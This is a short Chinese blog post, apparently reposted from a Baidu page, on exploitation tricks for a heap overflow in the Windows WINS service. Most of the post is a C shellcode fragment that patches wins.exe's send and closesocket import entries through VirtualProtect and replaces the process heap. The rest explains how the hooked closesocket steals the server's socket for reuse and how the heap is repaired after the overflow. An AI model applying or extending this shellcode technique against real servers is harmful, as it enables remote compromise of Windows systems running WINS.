wins堆溢出漏洞的利用技巧

newheap=HeapCreateadd(HEAP_GENERATE_EXCEPTIONS,0x10000,0);
i=*(int *)(0x7ffdf008); // wins.exe address;

j=0;
for(k=0;k<0x30000;k+=4)
{
if(*(int *)(i+k)==sendadd)
{

VirtualProtectadd((i+k)&0xfffff000,0x1000,0x04,&l);

*(int *)(i+k)=newcalladd;
VirtualProtectadd((i+k)&0xfffff000,0x3000,l,&l);

j^=0x1;
//         break;
}
if(*(int *)(i+k)==closesocketadd)
{
VirtualProtectadd((i+k)&0xfffff000,0x1000,0x04,&l);
*(int *)(i+k)=newcalladd+5;
VirtualProtectadd((i+k)&0xfffff000,0x3000,l,&l);
j^=0x2;
//         break;
}

if(*(int *)(i+k)==((int )ptr&0xffff0000))
{
VirtualProtectadd((i+k)&0xfffff000,0x1000,0x04,&l);
*(int *)(i+k)=newheap;
VirtualProtectadd((i+k)&0xfffff000,0x3000,l,&l);
j^=0x4;
//         break;
}
if(j==7) break;
}

 

1、如何复用socket。

因为server有线程不停的接收数据,socket就是找到,shellcode也会和server争强接收数据。

shellcode hook closesocket,exp发送错误数据,server关闭socket,shellcode拦截后得到socket,server也不再争抢数据。

2、堆修复

重新申请一个堆替换默认堆。

 

来源:http://hi.baidu.com/yuange1975/item/5addd6d07cfde41ad78ed0f2

评论关闭。